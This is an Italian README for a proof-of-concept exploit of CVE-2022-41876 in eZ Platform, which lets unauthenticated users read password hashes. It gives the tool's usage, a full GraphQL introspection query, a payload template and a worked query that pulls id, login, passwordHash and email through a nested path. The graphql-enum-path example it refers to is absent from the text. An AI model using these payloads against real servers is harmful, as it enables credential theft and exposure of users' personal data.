
PoC per CVE-2022-41876
È emersa una vulnerabilità in eZ Platform che permette a un utente non autenticato di accedere all'hash della password di ogni contributore. Questo PoC enumera ogni possibile percorso GraphQL che porta a un oggetto 'User', e poi richiede questi percorsi per recuperare le informazioni riservate degli utenti.
python3 cve-2022-41876.py -h
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url
CVE-2022-41876 POC
positional arguments:
url URL di destinazione (specifica l'endpoint graphql)
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esci
-t, --thread Numero di thread
-f FILE, --file FILE Percorso locale del file introspect

I diversi passaggi seguiti da questo strumento per sfruttare la CVE sono:
Il primo passo per sfruttare questa CVE è ottenere un file introspect.json. Un modo per recuperarlo è interrogare l'endpoint graphql del server con il seguente payload:
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}
Poi il json fornito dal server può essere utilizzato per estrarre tutti i percorsi verso gli oggetti 'User' con lo strumento graphql-enum-path in questo modo:

Infine, una volta trovati tutti i percorsi, un payload specifico deve essere costruito in questo modo e inviato al server:
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}
Dove gli elementi corrispondono ai testi tra parentesi nel risultato di graphql-enum-path (nota che una query deve essere eseguita per ogni percorso).
Quindi, con l'esempio di graphql-enum-path sopra, il primo payload sarebbe:
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}
Se il server è vulnerabile a questa CVE, risponderà a quella query con un file json contenente i dati dei suoi utenti.